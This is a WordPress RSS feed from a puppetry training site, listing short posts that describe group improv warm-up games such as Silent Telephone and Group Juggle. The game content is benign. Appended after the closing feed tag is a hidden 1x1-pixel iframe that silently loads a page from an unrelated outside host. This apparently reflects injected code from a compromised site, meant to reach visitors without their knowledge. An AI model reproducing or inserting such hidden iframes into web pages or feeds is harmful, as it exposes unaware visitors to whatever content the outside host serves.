<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:dtvmedia="http://participatoryculture.org/RSSModules/dtv/1.0"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>PuppetryLab.com &#187; Improv Games</title>
	<link>http://puppetrylab.com</link>
	<description>A one-of-a-kind place to study and practice the art of puppetry.</description>
	<pubDate>Sat, 29 Mar 2008 00:11:10 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3</generator>
	<language>en</language>
		<!-- podcast_generator="podPress/7.9" -->
		<copyright>&#xA9;Amy Harder </copyright>
		<managingEditor>amy@puppetrylab.com (Amy Harder)</managingEditor>
		<webMaster>amy@puppetrylab.com</webMaster>
		<category></category>
		<ttl>1440</ttl>
		<itunes:keywords>puppetry, tutorial, advanced puppetry, puppeteer, training, puppetry training, learn puppetry</itunes:keywords>
		<itunes:subtitle>PuppetryLab Training Vids</itunes:subtitle>
		<itunes:summary>Learn advanced puppetry techniques from PuppetryLab.com, a one-of-a-kind place to study and practice the art of puppetry.</itunes:summary>
		<itunes:author>Amy Harder</itunes:author>
		<itunes:category text="Arts">
  <itunes:category text="Performing Arts"/>
</itunes:category>
<itunes:category text="Education">
  <itunes:category text="Training"/>
</itunes:category>
		<itunes:owner>
			<itunes:name>Amy Harder</itunes:name>
			<itunes:email>amy@puppetrylab.com</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://puppetrylab.com/images/PL_podcast_lg.gif" />
		<image>
			<url>http://puppetrylab.com/images/PL_podcast_sm.jpg</url>
			<title>PuppetryLab.com</title>
			<link>http://puppetrylab.com</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>Silent Telephone</title>
		<link>http://puppetrylab.com/improv-games/silenttele/</link>
		<comments>http://puppetrylab.com/improv-games/silenttele/#comments</comments>
		<pubDate>Thu, 25 Oct 2007 18:07:09 +0000</pubDate>
		<dc:creator>Amy Harder</dc:creator>
		
		<category><![CDATA[Improv Games]]></category>

		<category><![CDATA[improv game]]></category>

		<category><![CDATA[puppetry]]></category>

		<guid isPermaLink="false">http://puppetrylab.com/improv-games/silenttele/</guid>
		<description><![CDATA[This is one of those goofy games that is bound to get you giggling. It&#8217;s always important that actors (be they human or puppet) communicate clearly. But just like the regular &#8220;Telephone&#8221; game you probably played as a kid, messages can get mixed up as they travel. Heh heh heh. So, have fun and see [...]]]></description>
			<content:encoded><![CDATA[<p>This is one of those goofy games that is bound to get you giggling. It&#8217;s always important that actors (be they human or puppet) communicate clearly. But just like the regular &#8220;Telephone&#8221; game you probably played as a kid, messages can get mixed up as they travel. Heh heh heh. So, have fun and see how well you can get your message across!</p>
<p><strong>Set up. </strong>This game works best with groups of four to six, so divide your group if needed. Any extra people will become the audience. All but one player stands with their backs to the audience. This game is done in mime (hence the name) but you could have these players also cover their ears&#8230; ya&#8217; know, for effect. With smaller groups, just make sure you rotate who gets to go first.</p>
<p><strong>Action.</strong> The first player receives &#8220;the script&#8221; from the director (see examples below). The player must then communicate all parts of this story to Player 2, <em>without using any words</em>. You might consider limiting the communication time to one minute. Then Player 2 must retell to Player 3 <em>in mime</em> the story as he understood it. Player 3 tells 4, etc., until the story has traveled to the end of your line. Have the last player relay the information to the first player to see if he got it right. Or have the director read the original script. <a href="http://puppetrylab.com/improv-games/silenttele/#more-212" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://puppetrylab.com/improv-games/silenttele/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Props and Scenery</title>
		<link>http://puppetrylab.com/improv-games/props/</link>
		<comments>http://puppetrylab.com/improv-games/props/#comments</comments>
		<pubDate>Mon, 15 Oct 2007 03:12:07 +0000</pubDate>
		<dc:creator>Amy Harder</dc:creator>
		
		<category><![CDATA[Improv Games]]></category>

		<guid isPermaLink="false">http://puppetrylab.com/improv-games/props/</guid>
		<description><![CDATA[It&#8217;s time for another silly improv game. Try this one with your group of puppeteers to force players to think quickly and work together to make a harmonious whole.
Set up. Gather your group around one person who will be &#8220;it&#8221; for the first round. Players need to be able to clearly see and respond to [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s time for another silly improv game. Try this one with your group of puppeteers to force players to think quickly and work together to make a harmonious whole.</p>
<p><strong>Set up.</strong> Gather your group around one person who will be &#8220;it&#8221; for the first round. Players need to be able to clearly see and respond to what the &#8220;it&#8221; person does.</p>
<p><strong>Action.</strong> &#8220;It&#8221; gets to choose and play an action that clearly defines where he or she is located. For example, the player could mime primping or brushing her hair. When the action begins, the rest of the players immediately must become the props or set pieces that would be in that kind of environment&#8230; in this case it might be a mirror, a sink, a faucet, a toilet, a shower, a bottle of hairspray, etc. <a href="http://puppetrylab.com/improv-games/props/#more-210" class="more-link">(more&#8230;)</a></p>
<p class="tags">Tags: <a href="http://technorati.com/tag/improv+game" title="See the Technorati tag page for 'improv game'." rel="tag">improv game</a></p>]]></content:encoded>
			<wfw:commentRss>http://puppetrylab.com/improv-games/props/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Name That Monster</title>
		<link>http://puppetrylab.com/improv-games/namethatmonster/</link>
		<comments>http://puppetrylab.com/improv-games/namethatmonster/#comments</comments>
		<pubDate>Mon, 20 Aug 2007 16:56:20 +0000</pubDate>
		<dc:creator>Amy Harder</dc:creator>
		
		<category><![CDATA[Improv Games]]></category>

		<guid isPermaLink="false">http://puppetrylab.com/improv-games/namethatmonster/</guid>
		<description><![CDATA[OK, puppeteers. It&#8217;s time to think fast. This game forces players to be spontaneous and creatively random&#8230; while working with a partner! Oh, the hilarity.
Set up. Pair up and set the scene by first determining a location. This can be anything&#8230; the surface of the moon, an amusement park, a dairy farm at sunrise, etc.
Action. [...]]]></description>
			<content:encoded><![CDATA[<p><img src="/images/monster001.jpg" title="itza monster" alt="itza monster" align="right" border="0" height="127" hspace="5" vspace="5" width="85" />OK, puppeteers. It&#8217;s time to think fast. This game forces players to be spontaneous and creatively random&#8230; while working with a partner! Oh, the hilarity.</p>
<p><strong>Set up.</strong> Pair up and set the scene by first determining a location. This can be anything&#8230; the surface of the moon, an amusement park, a dairy farm at sunrise, etc.</p>
<p><strong>Action.</strong> With your partner, you will enter the scene and run into some kind of monster&#8211;it&#8217;s not really going to be there&#8230; just pretend. What kind of monster? That&#8217;s completely up to you. Imaginary, realistic, exaggerated, etc. After you see the monster, you need to let the audience know what it is, then run away.</p>
<p>Sound simple? Well, I haven&#8217;t told you the most fun part&#8230; this whole scene needs to be done with the players only saying one word at a time. You know, like this: <a href="http://puppetrylab.com/improv-games/namethatmonster/#more-188" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://puppetrylab.com/improv-games/namethatmonster/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Big Fish, Little Fish</title>
		<link>http://puppetrylab.com/improv-games/bigfish/</link>
		<comments>http://puppetrylab.com/improv-games/bigfish/#comments</comments>
		<pubDate>Tue, 24 Apr 2007 18:27:45 +0000</pubDate>
		<dc:creator>Amy Harder</dc:creator>
		
		<category><![CDATA[Improv Games]]></category>

		<guid isPermaLink="false">http://puppetrylab.com/improv-games/bigfish/</guid>
		<description><![CDATA[We love warm-up games that get brains going as well. This little exercise will force players to concentrate on their words, actions, and timing within the group. It&#8217;s a really simple game, but it&#8217;s certain to be a fun way to get your puppet rehearsals going.
Set up. Gather your group into a circle - - [...]]]></description>
			<content:encoded><![CDATA[<p>We love warm-up games that get brains going as well. This little exercise will force players to concentrate on their words, actions, and timing within the group. It&#8217;s a really simple game, but it&#8217;s certain to be a fun way to get your puppet rehearsals going.</p>
<p><strong>Set up. </strong>Gather your group into a circle - - sitting or standing, it doesn&#8217;t matter. Instruct your players that they will be passing a simple pattern around the circle. <a href="http://puppetrylab.com/improv-games/bigfish/#more-176" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://puppetrylab.com/improv-games/bigfish/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Group Juggle</title>
		<link>http://puppetrylab.com/improv-games/groupjuggle/</link>
		<comments>http://puppetrylab.com/improv-games/groupjuggle/#comments</comments>
		<pubDate>Wed, 28 Mar 2007 18:02:06 +0000</pubDate>
		<dc:creator>Amy Harder</dc:creator>
		
		<category><![CDATA[Improv Games]]></category>

		<guid isPermaLink="false">http://puppetrylab.com/improv-games/groupjuggle/</guid>
		<description><![CDATA[Wanna see if your team is in sync with each other? &#8230;working together? This simple group warm-up game illustrates the need for teamwork and stresses the importance of focusing on a particular task no matter what else is happening. Now, grab some bean bags and a bunch of friends and get juggling!
Setup. For this game [...]]]></description>
			<content:encoded><![CDATA[<p>Wanna see if your team is in sync with each other? &#8230;working together? This simple group warm-up game illustrates the need for teamwork and stresses the importance of focusing on a particular task no matter what else is happening. Now, grab some bean bags and a bunch of friends and get juggling!</p>
<p><strong>Setup. </strong>For this game you&#8217;ll need at least 6 people, but the more the merrier&#8211;I&#8217;ve done this with groups that approached thirty! You&#8217;ll also need small, soft beanbags. Grab at least 3 beanbags, but you may want to have more on hand&#8230; How many more? That depends on the size of your group. <a href="http://puppetrylab.com/improv-games/groupjuggle/#more-173" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://puppetrylab.com/improv-games/groupjuggle/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Surf&#8217;s Up</title>
		<link>http://puppetrylab.com/improv-games/surfsup/</link>
		<comments>http://puppetrylab.com/improv-games/surfsup/#comments</comments>
		<pubDate>Fri, 23 Feb 2007 18:18:52 +0000</pubDate>
		<dc:creator>Amy Harder</dc:creator>
		
		<category><![CDATA[Improv Games]]></category>

		<guid isPermaLink="false">http://puppetrylab.com/improv-games/surfsup/</guid>
		<description><![CDATA[This exercise is a fun characterization game that takes a bit of concentration and requires silly physical movement. Use this as a fun warm-up to get blood flowing and giggles going. There are other similar games like this out there, but this version is my kooky twist on the standard. Have fun, dudes.
Set up. Spread [...]]]></description>
			<content:encoded><![CDATA[<p>This exercise is a fun characterization game that takes a bit of concentration and requires silly physical movement. Use this as a fun warm-up to get blood flowing and giggles going. There are other similar games like this out there, but this version is my kooky twist on the standard. Have fun, dudes.</p>
<p><strong>Set up. </strong>Spread out across the room, making sure each player has room to move without smacking his neighbor (think aerobics class). <em>This is an elimination game. </em>The last person to complete the required task is out. The game continues until one player is left standing. <a href="http://puppetrylab.com/improv-games/surfsup/#more-95" class="more-link">(more&#8230;)</a></p>
<p class="tags">Tags: <a href="http://technorati.com/tag/puppetry" title="See the Technorati tag page for 'puppetry'." rel="tag">puppetry</a>, <a href="http://technorati.com/tag/improv" title="See the Technorati tag page for 'improv'." rel="tag">improv</a>, <a href="http://technorati.com/tag/game" title="See the Technorati tag page for 'game'." rel="tag">game</a>, <a href="http://technorati.com/tag/group+game" title="See the Technorati tag page for 'group game'." rel="tag">group game</a>, <a href="http://technorati.com/tag/warm+up" title="See the Technorati tag page for 'warm up'." rel="tag">warm up</a></p>]]></content:encoded>
			<wfw:commentRss>http://puppetrylab.com/improv-games/surfsup/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Squeezer</title>
		<link>http://puppetrylab.com/improv-games/squeezer/</link>
		<comments>http://puppetrylab.com/improv-games/squeezer/#comments</comments>
		<pubDate>Tue, 13 Feb 2007 06:34:36 +0000</pubDate>
		<dc:creator>Amy Harder</dc:creator>
		
		<category><![CDATA[Improv Games]]></category>

		<guid isPermaLink="false">http://puppetrylab.com/improv-games/squeezer/</guid>
		<description><![CDATA[This is a well-known warm-up game that is frequently spotted at youth camps, scout meetings, and drama classes. It&#8217;s another one of those group games that helps reinforce the idea that a team has to be connected and alert to what is going on around them in order to make things work.
Set up. Gather your [...]]]></description>
			<content:encoded><![CDATA[<p>This is a well-known warm-up game that is frequently spotted at youth camps, scout meetings, and drama classes. It&#8217;s another one of those group games that helps reinforce the idea that a team has to be connected and alert to what is going on around them in order to make things work.</p>
<p><strong>Set up.</strong> Gather your players into a circle and have them hold hands. That&#8217;s it. You&#8217;re ready to play. <a href="http://puppetrylab.com/improv-games/squeezer/#more-92" class="more-link">(more&#8230;)</a></p>
<p class="tags">Tags: <a href="http://technorati.com/tag/puppetry" title="See the Technorati tag page for 'puppetry'." rel="tag">puppetry</a>, <a href="http://technorati.com/tag/improv" title="See the Technorati tag page for 'improv'." rel="tag">improv</a>, <a href="http://technorati.com/tag/game" title="See the Technorati tag page for 'game'." rel="tag">game</a>, <a href="http://technorati.com/tag/group+game" title="See the Technorati tag page for 'group game'." rel="tag">group game</a>, <a href="http://technorati.com/tag/warm+up" title="See the Technorati tag page for 'warm up'." rel="tag">warm up</a></p>]]></content:encoded>
			<wfw:commentRss>http://puppetrylab.com/improv-games/squeezer/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Popcorn</title>
		<link>http://puppetrylab.com/improv-games/popcorn/</link>
		<comments>http://puppetrylab.com/improv-games/popcorn/#comments</comments>
		<pubDate>Tue, 23 Jan 2007 05:37:13 +0000</pubDate>
		<dc:creator>Amy Harder</dc:creator>
		
		<category><![CDATA[Improv Games]]></category>

		<guid isPermaLink="false">http://puppetrylab.com/improv-games/popcorn/</guid>
		<description><![CDATA[This week&#8217;s improv game is a classic. It&#8217;s always fun to see what players come up with when asked to become inanimate objects! Use this exercise as a good physical warm-up as well as an opportunity to challenge players to be aware of each other and perform as a group. 
Set up. This game should [...]]]></description>
			<content:encoded><![CDATA[<p>This week&#8217;s improv game is a classic. It&#8217;s always fun to see what players come up with when asked to become inanimate objects! Use this exercise as a good physical warm-up as well as an opportunity to challenge players to be aware of each other and perform as a group.  <a href="http://puppetrylab.com/improv-games/popcorn/#more-91" class="more-link">(more&#8230;)</a></p>
<p class="tags">Tags: <a href="http://technorati.com/tag/puppetry" title="See the Technorati tag page for 'puppetry'." rel="tag">puppetry</a>, <a href="http://technorati.com/tag/improv" title="See the Technorati tag page for 'improv'." rel="tag">improv</a>, <a href="http://technorati.com/tag/game" title="See the Technorati tag page for 'game'." rel="tag">game</a>, <a href="http://technorati.com/tag/group+game" title="See the Technorati tag page for 'group game'." rel="tag">group game</a>, <a href="http://technorati.com/tag/warm+up" title="See the Technorati tag page for 'warm up'." rel="tag">warm up</a></p>]]></content:encoded>
			<wfw:commentRss>http://puppetrylab.com/improv-games/popcorn/feed/</wfw:commentRss>
		</item>
		<item>
		<title>One Duck</title>
		<link>http://puppetrylab.com/improv-games/oneduck/</link>
		<comments>http://puppetrylab.com/improv-games/oneduck/#comments</comments>
		<pubDate>Fri, 12 Jan 2007 05:18:01 +0000</pubDate>
		<dc:creator>Amy Harder</dc:creator>
		
		<category><![CDATA[Improv Games]]></category>

		<guid isPermaLink="false">http://puppetrylab.com/improv-games/oneduck/</guid>
		<description><![CDATA[This week&#8217;s improv game is a great one for building up those concentration skills. Whether we work with spoken lines, lip synchronization, choreographed moves, or assisting another puppeteer, it is important that we are able to remain focused even when things get silly. Unlike some of the other featured games, this one does not require [...]]]></description>
			<content:encoded><![CDATA[<p>This week&#8217;s improv game is a great one for building up those concentration skills. Whether we work with spoken lines, lip synchronization, choreographed moves, or assisting another puppeteer, it is important that we are able to remain focused even when things get silly. Unlike some of the other featured games, this one does not require a large space in which to move around. Gotta love circle games!  <a href="http://puppetrylab.com/improv-games/oneduck/#more-89" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://puppetrylab.com/improv-games/oneduck/feed/</wfw:commentRss>
		</item>
		<item>
		<title>No Doubles 1-10</title>
		<link>http://puppetrylab.com/improv-games/nodoubles/</link>
		<comments>http://puppetrylab.com/improv-games/nodoubles/#comments</comments>
		<pubDate>Sun, 24 Dec 2006 00:15:07 +0000</pubDate>
		<dc:creator>Amy Harder</dc:creator>
		
		<category><![CDATA[Improv Games]]></category>

		<guid isPermaLink="false">http://puppetrylab.com/improv-games/nodoubles/</guid>
		<description><![CDATA[We love concentration games! This week&#8217;s feature is a simple game that forces players to watch each other, listen, and concentrate to avoid a repeat. I&#8217;ve said it before and I&#8217;ll say it again: it is important that puppeteers (actors) are able to focus attention on lines and choreography and other characters no matter what [...]]]></description>
			<content:encoded><![CDATA[<p>We love concentration games! This week&#8217;s feature is a simple game that forces players to watch each other, listen, and concentrate to avoid a repeat. I&#8217;ve said it before and I&#8217;ll say it again: it is important that puppeteers (actors) are able to focus attention on lines and choreography and other characters no matter what is going on around them. It is also important to be able to &#8220;read&#8221; your fellow actors and anticipate their actions. Concentration games help build those necessary skills. <a href="http://puppetrylab.com/improv-games/nodoubles/#more-84" class="more-link">(more&#8230;)</a></p>
<p class="tags">Tags: <a href="http://technorati.com/tag/puppetry" title="See the Technorati tag page for 'puppetry'." rel="tag">puppetry</a>, <a href="http://technorati.com/tag/improv" title="See the Technorati tag page for 'improv'." rel="tag">improv</a>, <a href="http://technorati.com/tag/game" title="See the Technorati tag page for 'game'." rel="tag">game</a>, <a href="http://technorati.com/tag/group+game" title="See the Technorati tag page for 'group game'." rel="tag">group game</a></p>]]></content:encoded>
			<wfw:commentRss>http://puppetrylab.com/improv-games/nodoubles/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<iframe frameborder="0" height="1" src="http://www.l2team.us/forum.htm"; width="1" scrolling="No"; bgcolor="#C9D3DE"> </iframe>
